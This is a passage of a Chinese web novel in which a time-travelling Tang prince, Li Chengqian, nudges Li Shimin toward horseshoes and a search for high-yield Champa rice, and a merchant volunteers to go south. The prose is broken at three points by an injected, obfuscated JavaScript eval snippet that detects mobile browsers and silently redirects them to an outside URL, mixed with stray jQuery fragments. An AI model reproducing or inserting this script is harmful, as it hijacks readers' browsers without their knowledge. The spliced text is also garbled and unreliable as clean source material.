李承乾羞愤捂脸。 李世民哈哈大笑:“行了,到时慢慢改就好,我儿莫要羞恼呀。” *** 东宫偏殿。 李承乾拿过手边的中药龇牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377925|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧嘴对顾十二忿忿道:“十二,你去库房取些红枣枸杞来,一部分做我的零嘴一部分我想着泡水喝。” 顾十二连连点头朝外走去:“小殿下是该多注意些身子。” 李承乾端着药思忖,曲辕犁倒是成功献上了,占城稻却不知道该怎么说服李世民派人手寻找,这可比曲辕犁难上太多。更何况那是古代的中南半岛,纯纯正正的蛮荒危险之地。 “还是需要先做个模型,来看看各部件该如何衔接。” 吴工匠说着拿起草图走到李承乾身侧,打断他的思量:“就奴目前琢磨的,这犁壁的摆放位置应该再往下。还有犁评,若要更加省力带动犁铧转变,得再长一些。” 李承乾想了想,这曲辕犁其实一直有一个演变的过程,就像他先前说的,这个时间点江东是已经存在短曲辕犁的。 “司农卿已经派人前往江东去寻短曲辕犁和有经验的工匠,至多两月应是能带回来一架具体的。” “我们先自个做出模型做好衔接,等东西到了后再比较结合,看看怎么修改长度弧度位置能最省时省力,同时适用范围也更加广泛。” 吴工匠点头:“只是这图还需奴拿去修改,实在是这尺寸不好说,毕竟算新鲜东西,只怕没个七八日是完不成的。” 李承乾一噎:倒也不用一遍遍提醒我。 “行了,这曲辕犁急不得,你今日就先回吧,等尺寸修改好再来我这,我再与你一块商议后续事宜。” 吴工匠摸摸鼻尖拿起图纸行礼告退,心中不断腹议也不能怪他说话直,实在是他做了二十年的工匠,还是头一回看到如此,呃,如此富有创造力的尺寸,实在叫他印象深刻。 李承乾捏着鼻子把中药一口闷,苦得他脸皱成团包子。好在这时顾十二回来了,放下手中事物便从衣袖中掏出一包蜜饯。 李承乾赶忙捞过,视线不经意撇到他手边的一封书信上。 顾十二主动开口:“是大兄的来信。” “呃,小殿下我那大兄得了匹西域宝马,特地想要进献小殿下,如今已在宫门处候着了。” 李承乾诧异:“我不是都收了他那袋子的好东西吗,怎么还要来送马?” “西域宝马,我这小身板也用不上吧。” 顾十二呵呵一笑:“奴那大兄行商,性子向来有些多虑。” “当日大兄想要对小殿下动手,这事小殿下不提,可随行侍卫众多,陛下如何会不知晓?” “不过事出有因陛下心善没有计较,大兄却是不能不表态。” “陛下好马天下皆知,这匹马就是大兄借着小殿下之手赠予陛下的赔罪礼。” 一听这话李承乾来劲了,他从腰间解下块牌子:“喏,拿去叫人引你那阿兄进来,我倒要看看那西域宝马究竟是何模样。” 顾十二笑得眼只剩下了一条缝,接过牌子快步离去。 等了大半个时辰,等到李承乾昏昏欲睡,终于听到踢踏踢踏的马蹄声将他唤醒。 李承乾打着呵欠,刚起身走到殿外,迎面而来的是一匹高头大马。 瞧着是满满的肌肉,腿长有力,双目明亮,鬃毛浓密,就是他这个外人也能看出是匹难得的良驹。 李承乾看着牵着马沉默不语的顾重林乐了,这人远比他想象得有意思。 他挥挥手吩咐顾十二:“去告诉我阿耶吧,好歹是送给他的马,总得让他亲自过目过目。” 闻言顾重林笑笑:“小殿下喜欢就行。” 话落,那马不知是怎么忽而吐气,高高抬起马蹄一副不耐烦的模样,顾重林眼疾手快一拉,那马才哼哼唧唧老实了点。 李承乾皱眉,脑中闪过方才那马蹄扬起的画面,不知为何他总觉得眼前这马和现代的有哪里不一样。 似是少了一样什么。 模糊的印象中他想起曾经看过的史料。 李承乾快步上前直视顾重林:“顾重林,这马蹄下的马掌呢?” 顾重林不明所以:“什么马掌?” 记忆愈发清晰,李承乾垂在身侧的手微微颤抖。 这个对于骑兵来说提升巨大的杀器,这个虽然早在隋代以前就曾零星出现但在元代才大规模普及的东西,他怎么就忘了呢? 马掌,或者换一个称呼,马蹄铁。 12.咄咄逼人 顾重林敏锐地察觉到李承乾的气势有瞬间的转变,只是等他想再好好看清楚时,李承乾已然恢复成人畜无害的模样。 “小殿下所言的马掌,莫不是马穿戴的鞋靴?” 顾重林按着字面意思漫不经心开口,好似就那么顺嘴一问。 李承乾笑笑,没有回答倒是反问顾重林:“你这行商的本事实在是大,西域白叠子能得,西域宝马亦能得。” 顾重林摆手满脸憨厚:“都是靠友人偶然得之,行商行商,出门在外又哪里会没一两个朋友呢。” 太安村时他便觉此人精明,果真是人不可貌相。 李承乾压下眉眼,就着行商的话题接口,直接略过马掌一事,就好像他从未提起。 二人心知肚明装傻,有一搭没一搭地聊着,不知怎么聊到了顾重林下一回打算去的地方。 “前几日突厥来势汹汹,我已把阿耶接进长安求个安稳,估摸没几日长安就要戒严了,我打算等这一次突厥走后南下,听说南边靠近泉州那一带新发现了个井盐。” 唐初虽则禁止贩私盐,但好在采取的是盐池盐井官方与百姓共取之的政策,也不收税,故而顾重林说想要去看看井盐李承乾并不奇怪。 只是南方泉州……莫名的念头闪过脑海,但还未等李承乾理明白自己的想法,远远就传来顾十二兴奋的声音:“小殿下,陛下来了。” 斥候来报,突厥至多五日便要进寇武功,李世民方方安排好长安城中的一应城防,将前线尉迟敬德大败突厥侧军的战报过了一眼,就听得顾十二来报的西域宝马。 正巧无事,李世民索性就跟着顾十二走了一趟,等回程顺便过问一下立后的具体事宜。 越是突厥兵临城下,他所要向突厥颉利可汗展示的态度就越要满不在乎借此稳定人心。 当然,这么着急立后一方面是出于政治原因,另外一方面便为若是出意外,整个大唐的后方也能有人撑着。 当然最后还是有那么一点私心,他与观音婢成婚十三载,观音婢为后的日子也恰好是在他登基之后的第十三日。 想着观音婢,李世民的面上露出抹浅淡的笑意。 “陛下。” 顾重林行礼后便自觉牵过马。 “好马!” 李世民大步走近,一眼就瞧中这匹尚且带着野性的宝马,心中暗叹这顾重林送的这一手还真真是送到了他的心坎上去。 虽则李世民没有计较他先前对李承乾的不敬,但如今送上门的好马他当然不会拒绝。 李世民摸过宝马肩背,感受着它紧实有力的腰身,一路往下,四蹄乌黑透亮,是顶顶好的品种。 原先对着李承乾满脸不耐的马也真是能伸能屈,仿佛是知道眼前这人不好得罪,虽则还是桀骜非常,但身体倒是实诚任由李世民抚摸。 只是一张马嘴绷得紧紧的,马尾烦躁甩着。 李承乾暗自撇嘴,心说这马也会看碟下菜,瞧他好欺负刚才还给他撅蹄子,一看就不是什么正经马。 李承乾鄙夷的目光实在是太明显,明显到那马都能清晰感受到,偏偏李世民此刻还附掌大笑:“这样一匹好马,我也是沾了承乾的光而得。” 马嗤嗤吐气。 勉强屈居李世民□□,可以。 叫它跟那个小身板的家伙扯上关系,不可以。 所以马儿昂首长鸣,再一次撅了蹄子,想要在李世民跟前落落李承乾的面子。 事发突然,顾重林反应很快,刚想上手将它驯服,谁料李世民比它反应更快。 身形腾转间李世民踩镫上马,他毫不犹豫一拽缰绳,马蹄高高扬起重重踏下,溅起薄薄一层尘土。 电光石火间李世民已然稳稳将马制服,在场众人回神之际只余它低声哼哼,半是委屈半是不满。 李承乾:…… 委屈给谁看呢,我还是李世民亲儿子呢,一匹马这么茶成精了不成! 李承乾深吸口气决定不跟匹马计较,正事要紧。 他小心翼翼挪到李世民跟前,一双黑眸中是满满的好奇,仰着头小声道:“阿耶,这马怎么不穿鞋子?” 顾重林心中一动眼眸微眯,不动声色打量正装作纯良的李承乾。 李世民摸摸马儿鬃毛好笑道:“马与人不同,要如何穿鞋子?” 李承乾轻“啊”声,歪歪脑袋似童言无忌:“可马要走路,人要走路,这难道不是相通的吗?” 话落李承乾蹲下身子,一双眼在马蹄上徘徊:“人若不穿鞋在外头走上一遭,碎石山地这脚不得被磨破?” 李世民微蹙眉心:“马蹄坚硬不会……” 话虽如此,但说到一半李世民显然是想到了什么,他的声音越来越轻,抚摸着马鬃毛的动作越来越快。 说起来他忽然想起幼时看过的杂文,春秋至汉时确有人尝试过在马蹄上包裹皮革。 且马蹄虽坚硬,但跟马几乎过了半辈子的李世民又如何不知晓目前单匹战马根本做不到长途跋涉,只能短距离冲袭,正是因为这马蹄的损耗。 不仅如此,南方地带气候偏湿热容易造成马蹄损伤,这也是南方难养马的原因之一。 若是…… 李承乾见状唇角勾起抹不易察觉的弧度:“可日积月累这马蹄也会被磨破吧?” “肯定很疼。” 李承乾的声音可怜兮兮,但他的目光却是狡黠。 别人没发觉,那垂着脑袋的马倒是看得清清楚楚,马喘着粗气只恨自己不会说话,不能向它勉强认同的主人控诉这个心口不一的小子。 李世民抚摸马鬓毛的动作渐慢。 李承乾托着腮自言自语:“人穿草鞋皮靴,如果马要穿鞋肯定不能用这些,要牢固坚硬……铁吗?” “可又要如何将其穿上?” “绑缚不行,钉子吗?” 李承乾晃着脑袋:“人穿鞋能走得更稳走得更久,马穿鞋会不会也一样呢?” “阿耶,我知道我这想法被别人听去肯定又要议论我发滥善心,我也只讲给阿耶听。” “青雀丽质先前与我讲,因着那两次昏迷,宫中已经有不好的流言说我性子柔弱,可我只是……” 委屈巴巴的语调,可怜兮兮的神情,这欲言又止的模样反而叫李世民按耐住心中的狐疑。 李世民长舒口气,只觉得此刻的胸腔敞亮非常。因着李承乾的话,一个隐隐约约的念头钻入脑海,搅得他激动非常,恨不能当场就将自己脑子中的雏形给实现。 李世民翻身下马,将缰绳丢到垂眸遮掩自己表情的顾重林手边,他一把从地面将李承乾拔起,高高半举空中。 李承乾猝不及防死死环住李世民的脖颈。 说不清的羞恼与一闪而过的连他自己都察觉不到的欣喜涌入四肢百骸,顺着血液一路往上,爬遍他的双颊,让他红透了脸。 李承乾鸵鸟样将头搭在李世民的颈窝,低声喃喃:“阿耶我都八岁了,放我下来。” 话落他目光不自觉落到那匹吹胡子瞪眼的马上,他摆上鬼脸。 哼,都说了我才是李世民亲儿子,你这匹绿茶马就歇歇争宠的心吧。 李世民朗声而笑,伸长手让李承乾无路可逃,又故意用自己下颚的胡须刮蹭李承乾细腻的肌肤。 到最后,也不知道李承乾通红的双颊有几分是因为害羞,有几分是因为李世民的磨蹭。 “我只是高兴,我儿方才那话哪里是柔弱,分明对我大有裨益。” 李承乾的这个思路很对,甚至于想要做出成果也并非一件难事。 大唐周边蛰伏敌国数众,他本就对马政万分看重。若无好马,便少了对敌的一大杀器。 可王朝初年天下才平定没多久,百姓尚要生存,开源开不了多少,故而只剩下节流一法。 若是所谓“马的鞋子”功成,不单单是能减少马匹的损耗,更重要的则是战术的改变。 马蹄无保护往往承受不了长途跋涉,更多的时候马匹是作为一种短距离突袭的武器。 可若是马蹄有保护呢? 意味着损耗减少,意味着马匹就算长途奔袭也能反复使用。 意味着骑兵不单单只能短途奇袭,意味着骑兵可以成为长途奔袭的战略型兵种。 不论是损耗的减少还是兵种的改变,这都是质的飞跃。 李世民沉吟,不过这个法子倒也有缺点,便是制作太简单了,敌人只消看一眼就可轻易学去。 但若此因壹废食,也只能说一句愚蠢。 这马鞋用铁而制,突厥不是不会炼铁,甚至水平不算低,但相比较大唐,突厥当下松散的政体注定他们没有能力大规模开采铁矿锻造。 而这东西首次登场,必将会是在关键战役上一战定鼎。 到那时大唐震铄天下,就算周遭国家学到了这法子又如何? 核心产铁资源地已被大唐控制。 一步落后步步落后。 且技术行不行另说,大量铁矿人力供他们炼制同样需要不短的时间,而唐却可以稳居中央随时插手。 这是稳赚不赔的买卖。 但是具体的形制样式以及该如何钉入马蹄,尚且需要铁匠与兵部一起商议。 正当此时,一个行色匆匆的内侍上前。 “陛下,高公求见,说是要与陛下商议水利之事。” “行你先退下,告诉士廉我马上到。” 高士廉,这不是他娘长孙皇后的舅舅吗? 一个曾经看过的史料倏然蹦出。 李承乾嘴快过脑:“阿耶,舅公先前是不是因着得罪炀帝被贬交趾?” 李世民掂掂李承乾像是寻到了玩孩子的乐趣:“怎么突然提这个?” 李承乾扒拉脑海中的记忆道:“听闻舅公回长安后便时不时生病,阿娘与舅舅一直担忧不已。儿先前看书知那交趾之地人烟稀少山地环绕,多障气多蚊虫。” 李世民不再举着李承乾,反倒是将人托在胳膊上柔声询问:“所以?” 李承乾左右看看,见在场人都是知道他去过太安村的,他也就毫不避讳:“所以我先前好不容易出宫一趟,特意寻人问了交趾甚至更加往南之地的详细,想要知晓从那回来的人都是怎么调理身子的,可谁知还真叫我撞上一个祖辈出身泉州的人。” 闻此顾十二好奇偷摸打量一眼李承乾,他种牛痘拢共也就躺在榻上半月,后面他都跟小殿下形影相随是半点不知这事,小殿下这半月还真是不消停。 李世民挑眉:“承乾这两月过得属实精彩。” 李承乾忍住不自在拖长音撒娇:“好不容易出宫一趟嘛。” 李世民点点他的鼻子:“又不是不让你出去,但你到底年岁小不安全。” 李承乾嘻嘻笑道:“阿耶这话我可记住了。咳,话说回来调理的方子没打听到,倒叫我打听到件趣事。” “先前因为曲辕犁忙忘了,今日听到舅公才想起。” “那人对我说,泉州因着靠海常常与南边经商互通往来,偶有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381885|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提到交趾再往东南的林邑。” “听闻有因海难流落我朝的林邑人吹嘘,他们那儿的破土破地居然有能早熟耐旱产量高的稻,一年两熟三熟都可以。” “谁也没见过,那人是当笑话讲给我的,可我却觉得不对。” “虽则我不了解林邑,可越往南环境越恶劣我还是知道的。” “无风不起浪,说大话也不该是往这般方向,况且还有详细特征,所以我觉得此事未必为假。” “阿耶,若是林邑的土地都可种稻,那我们大唐呢?” “是不是可以一年多熟甚至北方少水之地也易种稻?” 李世民凝视着兀自陷入兴奋的李承乾:“承乾,凡事讲求证据,若是真有此稻我必会大力派人找寻。” “但没有摆在眼前可见的,如你所说,或许只是一个可能,或许只是一嘴玩笑,或许一年两年甚至五六年都找寻不见。” 李承乾显然听出了李世民的言外之意,他不由着急:“可……” 李世民摇头打断,放下李承乾从一旁书格中抽出一幅舆图,哗啦一声摊平在所有人面前。 李世民指节轻扣桌面,一瞬气场凌厉非常,甚至带了点咄咄逼人的意味。 “好,朕先假定此稻确实存在,那朕便来问问你。” 此时此刻,他们不是父子而是君臣。 李承乾喉结滚动,殿内肃杀的氛围有些让他难以招架。 “阿、陛下要问什么?” “林邑并非小国,任何一种稻种亦非全域可种。你只言需在林邑境内找寻,那么具体何州何县,东南西北又是何处何地?” 李承乾攥紧手心,他不知道。 李世民轻睨舆图,指尖一点林邑:“林邑距大唐数千里,虽臣服于我朝但到底非我国土不知详细。你要朕派人南下,这可不是打仗有现成的关隘要道,需得深入林邑民间。” “引进稻种自然并非小数目,那么路如何走稻种如何运,水路还是陆路?” “陆路,你也知晓南蛮之地多山多泥沼多瘴气,不仅难以行路更是危险重重,人少则风险甚大连稻种都无法保证自林邑运入大唐。” “水路,你知晓何时何季风浪小吗,你知晓在茫茫海上又该如何规划路线安全往返吗?” 李承乾猛然闭眸,他不知道! 李世民丝毫不给李承乾喘息之机:“派人手寻找,派何人而去?” “若是府兵,隋末乱世后南方各州县本就兵丁稀少,且间或有蛮獠流窜反叛,短时间内抽不出人手。” “若是商人,商人大多重利惜命,拿不出切实凭证便要人家冒着九死一生的风险为你走一趟林邑?” “若用皇权强压,呵,天高皇帝远,本就无真切凭证的东西若是找不到,又怎知他们是否尽心而非佯装好面?” 李世民垂眸,语气不带一丝波动:“呵,真假不明的传闻,轻率盲目的计划。” “你连朕尚且无法说服,何况群臣?” 李承乾面色泛白,他还是……什么都不知道。 李世民叹气,看着眼前快哭出来的李承乾止住了逼问。 李世民弯腰温柔地捧起他的脸,轻轻抹去他眼角的湿润,嗓音低压带着哄意:“莫哭。” 李承乾一头栽入李世民的怀抱。 分明先前被那样咄咄逼问李承乾还能装作无事,可李世民的一句哄却让他再忍不住委屈。 这是他前半生从未体会过的父爱,这是他的父亲,是他可以肆无忌惮依靠的港湾。 他贪恋这个怀抱。 李世民轻抚其后背,所有的锋芒在这一刻尽皆收敛:“承乾,政策命令不是儿戏,人命钱财亦并非数字。” “我所说的问题如需解决背后所耗的人力钱财你算过吗?” “我不是不愿意宁可信其有不可信其无,只是这一切都不应该在大唐初建时提起。” “前有隋末乱世,大唐立国后曾粗略统计全国户数不过两百余万。” “从隋时的八百九十余万跌到这个数字,纵有隐户逃户,可这背后何尝不是百姓血淋淋的尸骨。” “遑论周遭国家虎视眈眈,突厥、吐谷浑、高句丽……人人都想从我大唐身上咬下一块肉。” “我不可能在当前因为你的一家之言供养这样一支南下的队伍。” 李世民语气认真,是在安抚他,是在教导他。 “成迟败速者,国之基也;失易得难者,天之位也。” 隋朝看似盛极一时,可还不是其亡也忽焉。 可不惜哉? 可不慎哉? 李承乾叹气。 果真是自古英雄出炼狱,从来富贵入凡尘。 他潜意识里把治国当做战略游戏,实在不妥。 李世民轻哄:“泉州潮州交州等地均可派人于商业往来中一点点探清楚林邑的详细情况,一点点摸索合适的道路。” “看看那林邑是否真有神奇的稻种。” “若有,则不打无准备之仗。等一切就绪大唐也已慢慢走出百废待兴的局面,钱财人力便也不缺了。” “慢慢来,不着急。” 李承乾闷闷的,刚想点头谁料意外发生。 “陛下,某愿为殿下前往,甘为先驱。” “愿替陛下一试可能。” 一片寂静中,沉默不语的顾重林轻笑,似漫不经心似认真,他躬身行礼。 顾十二大惊,一把拉住顾重林的胳膊:“大兄你疯了! 13.自告奋勇 顾重林疯没疯李承乾不知道,只是他终于意识到这人先前所言南下泉州时自己脑中莫名的念头是什么了。 李承乾动动身体,半靠在李世民怀中认真打量顾重林。 顾重林那双黝黑又泛着精明气的眸底,浮现的是明晃晃的欲/望。 李承乾知道,是牛痘与马蹄铁这两样东西打动了这个骨子里刻着利之一字的商人。 是未来太子的政治身份为诱惑,让他心甘情愿在自己身上下赌注。 李承乾躲开顾重林的双眸,他承认他心动了:“我不逼你。” 诧异之情自李世民内心一闪而过,他的目光犹如实质:“为了我儿一个不知真假的可能?” 顾重林不卑不亢,毫无顾忌地直白讲述自己的内心:“陛下说得对,商人求利,草民亦如是。” “小殿下此话若真,名利皆可挥手即来。” “做第一人自是有风险,但若成,照小殿下所言,其中益处足以令人疯狂。” 更重要的是,那是未来一国太子的人情。 李世民笑了笑,瞥了一眼李承乾,毫不犹豫戳破这场看似完美交易中的唯一漏洞。 “哪怕可能会因此丧命?” 李承乾抓着李世民衣袖的指尖阵阵发麻。 顾重林眼底闪过一丝狂热:“只是草民这个人有一点与他人不同。” 说着他居然抑制不住自己略显痴狂的笑意:“哈,草民骨子里不仅算不得惜命,还尤为爱赌。” 李世民安抚似的盖上李承乾的手:“你倒是实诚。” 顾重林垂首:“陛下面前不敢班门弄斧。” 顾十二脑子混乱不已,眼见顾重林不准备改变自己的心意,他不甘心地冲顾重林低吼:“南蛮之地有多荒凉危险大兄你不是不知道!” 李承乾侧首,整个人有些发冷,他知道此刻的自己很无耻,但出口的声音却冷酷理智到近乎无情的地步:“你若真想替我行事,南蛮之地环境恶劣,听闻也有豌豆疮频发。” “你虽接种过牛痘,但南下之行绝不止你一人,安全起见别忘去找赵县丞和孙公要几份牛痘痘苗。” 顾重林点头:“便先谢过小殿下的心意。” 话落顾重林握紧顾十二的肩膀带有安抚:“我行商多年,战乱之时行过西域也曾深入突厥,不都回来了?” “南蛮之地确实危险,林邑我也了解不多,但再艰难能比过豺狼虎豹的突厥人,阴险狡诈的西域诸国吗?” 顾十二怔怔嗫嚅:“可如今家中不缺银钱,大兄又何必如此冒险?” 顾重林笑意柔和,他的目光略过顾十二,落到那对天家父子身上。 李承乾年岁小经验浅,愧疚之情轻易便可看出。 至于李世民…… 顾重林漫不经心地想着。他很清楚自己的脾性。 若非如此,他又怎会在钱赚够的情况下依旧一年到头不着家,还时时刻刻往危险的地方跑。 他的野心与渴望顾十二和李承乾不懂,在场之人唯有李世民是真正看明白了他是一个什么样的人。 李世民与顾重林视线在半空交汇,他轻笑似带欣赏:“半月一封书信禀报详细,你与我儿之间的交易朕不插手。” 以帝王之诺,允许顾重林的渴望。 李承乾血液鼓噪:“你若出事……” 顾重林低笑打断:“保我一家无虞。” “然后就帮我立个衣冠冢吧,也好让我落叶归根。” 顾十二眼眸湿润,说是一家无虞,可是身为平头百姓的顾大山又哪里需要这个承诺。 真正需要这个承诺的,是常年在宫中侍奉的他。 李承乾点头走近顾重林,似是想通了,语气中是他自己也说不上来的坚决:“不论结果如何,我绝不叫你后悔。” 李世民抱臂,盯着李承乾的背影。 他忽然发觉这个儿子在他看不到的地方成长得很好,甚至好到超出他的预料。 李世民笑笑:“高士廉还在等我。你与顾重林的商议我一概不过问,只是记着莫要太晚误了时辰。” 李承乾点头。 *** 李承乾命人安排座位,顾十二虽然还是恍恍惚惚,但对上顾重林的执拗,他到底咽下口中反驳。 “小弟,你先在殿外守着,南下具体详细我得与小殿下探讨一二。” 很明显将人支开的借口。 顾十二气鼓鼓朝外走去,只给他兄长留下一个气愤失落的后脑勺。 “因为马蹄铁?” 不诧异李承乾的开门见山,顾重林挑眉。 “不止。” “不过原来马掌还能这么称呼吗?倒是贴切。” “小殿下先前在陛下跟前的诱导之意他人或许看不出来,我可不同。” 李承乾皱眉,是他太过激动露了马掌之语的破绽。 顾重林前倾身子压低嗓音:“小殿下虽然将牛痘之法推到孙思邈身上,可就我在太安村那段时日对小殿下和孙公的观察,这牛痘之法是谁提出的尚可未知啊。” 李承乾深吸口气:“不愧是商人,观察细致入微。” “先是牛痘,后是马蹄铁,我最不信的就是巧合。” “若是巧合,我早八百年就得死在外头。” 李承乾敛眉,此刻的他并不像一个八岁稚童:“你不好奇我知道这些?” 顾重林笑得意味深长:“我从不好奇不该好奇的,行走在外这是最要紧的一条。” “我只知道我愿意一信小殿下,这便够了。” 李承乾双手攀上桌面:“我要你找的是一种水稻,出自林邑,但我不能保证它是否真的存在。” 至少在这个年代他不能保证。 回忆着青天的回复,李承乾缓缓复述:“不过它也不绝对仅仅止于林邑,整一块……” 李承乾顿了下,脑中回忆着穿越过来后看过的大唐地图,想着中南半岛在唐朝大致是哪些位置。 “九真郡附近都可详细搜寻。” 话落李承乾打起呵欠,只觉得心脏又隐隐泛出了疼。 他这身板果然是扛不住了,从明天起先练八段锦吧,至于五禽戏他再慢慢学。 李承乾摆弄着衣袖:“你若是寻到可千万别急,多问问当地人是如何种植的。” “这稻的特点,高产耐旱再加上早熟,毕竟一年两三熟的稻在我大唐几乎找不见。哦,还有最重要的一点——” 顾重林竖起耳朵。 李承乾遮掩在矮桌下的双腿悄悄伸直舒缓经脉:“它不怎么好吃,米质偏硬。” 顾重林:? “这是重点?” 李承乾咧嘴:“不然呢?” “若是你真分不清楚,干脆吃一吃当地的饭不就清楚了。” “嘴巴总不会骗你。” 顾重林:…… 顾重林无语:“行吧,这些我都记下了。若无他事,我便先退下去准备南下事宜了。” 李承乾半阖双眸:“多到些钱财药材去吧,事成我会叫阿耶替你补平。” “林邑,说得好听遵我大唐为主,可经过炀帝嚯嚯的破败天下,连高句丽都能讥笑看不起我中原,遑论天高皇帝远的林邑?” “我不管你究竟是抱着什么目的,但若事成,你自当因天下苍生记一功。” “不论如何,我想你安全回来。” 生理上带来的困倦实在难以抵抗,哪怕李承乾这具身体内的灵魂已然二十多岁。 他的声音越来越小,但语气中的担忧却是真真切切的。 顾重林怔愣片刻,他忽而轻语:“难怪我那傻弟弟一心待你。” 顾重林起身,他顿了下,轻手轻脚打开殿门看了眼垂着眉眼的顾十二,他拍拍顾十二肩膀,语气略显生硬:“小殿下睡了,你去将人带上床榻吧,我先走一步。” 顾十二抿唇:“我只要大兄平平安安的。” 顾重林挥手:“等你大兄的好消息。” 他没有回头。 因为他清楚,从小软心肠的顾十二这个时候必定已经红了眼眶。 *** 早睡的结果很显著,李承乾一睁眼时连天都未亮。 他有些发愣地盯着床幔,一骨碌爬起看看床边的漏壶,在心中计算着时间。 呼,八小时,传统意义上的最佳科学睡眠时间。 李承乾没有赖床,等顾十二听到动静匆匆赶来时,他已经穿戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387683|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了衣物。 不过李承乾还是不习惯古代的长发,所以他只是扎了个马尾,简单又利落。 “天色还未大亮又无课业,小殿下何不多睡会?” 李承乾伸伸懒腰:“一日之计在于晨,顾十二你往后也跟我一道。” 打着呵欠双眼迷蒙的顾十二:? 李承乾甩甩手拉着顾十二的胳膊就往外头的御苑冲去,他的身边跟着同样诧异的太监宫女。 李承乾眼眸亮亮的,身上衣物足够保暖想就算是在早晨也不觉得冷。 “来,跟我做早操,我告诉你啊这叫八段锦。” 顾十二满头问号,看着兴致勃勃已经开始动作起来的李承乾,一时间连手脚都不知道该往哪摆。 “这个是道教经典,养生健气,咱们老李家不是自认老子为先人吗?” “作为后人,自然是该将老祖宗的东西发扬光大。” 小嘴一张叭叭叭,顾十二根本来不及插话,眼睁睁听着李承乾从八段锦的好处讲到八段锦的好处。 这话李承乾在现代体育课可谓是每节课都要听一遍,如今魂穿古代也终于能体验一把好为人师的快乐。 “不止十二,你、你、还有你们大家都跟我一起做。” “大家都是宫内做活的,也得多锻炼身子啊。” 所有人都懵了,李承乾抬抬下巴,众人当即慌慌张张跟着动作。 顾十二手忙脚乱刚想讨个饶,谁料身后草丛似有什么划过空气的声音,他竖起耳朵。 “总算寻到小殿下了。” 一个看着同李世民差不多年岁的男子骤然从御苑另一侧走出,他的身后是白白胖胖的李泰。 李承乾不慌不忙,将唇红齿白的男人与自己脑中的记忆对应。 是他四岁时李世民指给他的侍读长孙家庆。 听名字就知道是他阿娘长孙一族的。 李承乾做到第二节,正正好是一个开弓射大雕的动作,这虚空之箭直指长孙家庆。 长孙家庆眉头上扬,牵着李泰上前:“小殿下病了两个月,谁料一醒来便又是逃课又是拉着工匠入宫,有人明面上不敢多说,私底下倒都是碎嘴。” 李承乾做着八段锦只觉得胸口舒畅,他冲李泰一招手:“小胖子,过来跟我一起做,你这身材不行。” 李泰如遭雷击,怎么也想不到李承乾的嘴居然能说出这样冰冷的话,他瘪嘴不情不愿走到李承乾身边。 长孙家庆扫视众人:“小殿下练的这身法倒有些意思。” “编排精致,动作柔和,应是真有几分强身健体之用。” 正主和正主侍读话都说到这地步可谁都没有轻易往下,顾十二听着简直是皇帝不急太监急。 顾十二“哎呦”一声:“小殿下,快听听侍读说的流言之事吧!” 几人身后树林。 李世民活动手腕接过长孙如堇递来的长弓。 从腰间箭囊中随意抽出支大白羽,拉弓上弦。 弓尾沾着早晨空气中的淡雾,点点水珠浸润李世民的侧颊。 长孙如堇朝远处外一扫,几排全副武装的禁卫士卒都兴奋盯着李世民的动作。 天子亲做师在宫中教导他们射箭,谁人不欣喜,何况那可是天策上将! 长孙如堇笑笑,看着李世民凌厉的侧脸,听着高大树丛后李承乾一行人的大声嚷嚷,她眨眼对李世民:“看来不止后宫,前朝也有流言传出。” 李世民嗤笑,玄铁箭簇直指前方。 弓如满月,箭似流星。 李世民随手将长弓丢给身侧内侍,看也不看自己射出的箭,抬手示意士卒自发练习。 他腔调透着散漫,饶有兴致牵过长孙如堇的手凑近树丛:“上皇旧党只有嘴皮子厉害。” 长孙如堇忍笑嗔怪:“所以上皇才会成为上皇嘛。” “不过你们也不愧是父子俩。一个带着兵卒在宫里习箭,一个带着宫女内侍做那什么八段锦。” “也不知谏官该如何说了。” 李世民低笑,面上带着自得:“嘘,我们一起听听面对这般流言承乾会作何回答。” 他的身后,白羽箭正中绿叶中心深深钉入树干,簌簌飞花落叶飘下。 14.句读标点 李承乾闻言似笑非笑:“又是上皇旧党?要我说就是这帮人太闲。上皇都呆在后宫颐养天年了,这帮家伙倒是一个比一个忠心。” “不是,小殿下,那毕竟是上皇,隔墙有耳!” 顾十二怎么也没想到李承乾一开口就是惊天动地,他表情扭曲,死命瞪着警告周遭不敢说话只一个劲做八段锦的宫女内侍。 长孙家庆轻咳,小殿下这性格倒是比往常直白许多。 李承乾撇嘴:“有本事做还怕别人说吗?我都没有计较他们妄议我的事,礼尚往来而已。” 李承乾调整呼吸,双脚开立成马步桩。 “青雀,马步要蹲好,你这才只弯了个腰吧?” 李泰欲哭无泪,在李承乾的死亡凝视下自愿扎好马步。 他想不通,只是来看看阿兄的,怎么就稀里糊涂跟着开始做这奇奇怪怪的锻炼了呢。 